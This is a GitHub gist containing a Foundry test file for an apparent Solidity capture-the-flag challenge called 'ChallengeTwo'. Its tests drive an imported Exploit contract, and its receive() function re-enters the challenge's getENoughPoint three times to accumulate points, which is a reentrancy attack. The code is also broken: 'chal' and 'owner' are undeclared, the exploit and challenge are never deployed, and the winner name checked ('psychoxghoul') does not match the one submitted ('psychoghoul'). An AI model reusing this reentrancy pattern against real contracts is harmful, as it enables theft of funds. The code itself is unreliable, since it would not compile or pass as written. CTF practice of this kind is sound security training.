Created
October 26, 2024 15:34
-
-
Save psychemist/113d1ca813faab2b2be204056090d087 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: UNLICENSED | |
| pragma solidity ^0.8.13; | |
| import {Test, console2} from "forge-std/Test.sol"; | |
| import {ChallengeTwo, Exploit} from "../src/ChallengeTwo.sol"; | |
| contract ChallengeTwoTest is Test { | |
| ChallengeTwo public challenge; | |
| Exploit public exploit; | |
| uint count; | |
| function setUp() public { | |
| vm.createSelectFork("{YOUR-RPC-URL}"); | |
| vm.startPrank(owner); | |
| chal = new ChallengeTwo(); | |
| vm.stopPrank(); | |
| } | |
| function testCompleteChallenge() public { | |
| exploit.passkey(address(challenge)); | |
| vm.startPrank(address(this)); | |
| exploit.point(address(challenge)); | |
| exploit.add(address(challenge)); | |
| vm.stopPrank(); | |
| bool found = false; | |
| string[] memory winners = challenge.getAllwiners(); | |
| for (uint i = 0; i < winners.length; i++) { | |
| if (keccak256(abi.encode(winners[i])) == keccak256(abi.encode("psychoxghoul"))) { | |
| found = true; | |
| break; | |
| } | |
| } | |
| assertTrue(found, "Challenge not completed successfully"); | |
| } | |
| function testExploitPointAccumulation() public { | |
| exploit.passkey(address(challenge)); | |
| vm.startPrank(address(this)); | |
| exploit.point(address(challenge)); | |
| vm.stopPrank(); | |
| assertEq(challenge.userPoint(address(this)), 4, "invalid Point Accumulated"); | |
| } | |
| function testRevertOnSecondAttempt() public { | |
| exploit.passkey(address(challenge)); | |
| vm.startPrank(address(this)); | |
| exploit.point(address(challenge)); | |
| exploit.add(address(challenge)); | |
| vm.stopPrank(); | |
| vm.expectRevert("you have completed already"); | |
| vm.prank(address(this)); | |
| exploit.add(address(challenge)); | |
| } | |
| receive() external payable { | |
| if (count < 3) { | |
| count++; | |
| ChallengeTwo(msg.sender).getENoughPoint("psychoghoul"); | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment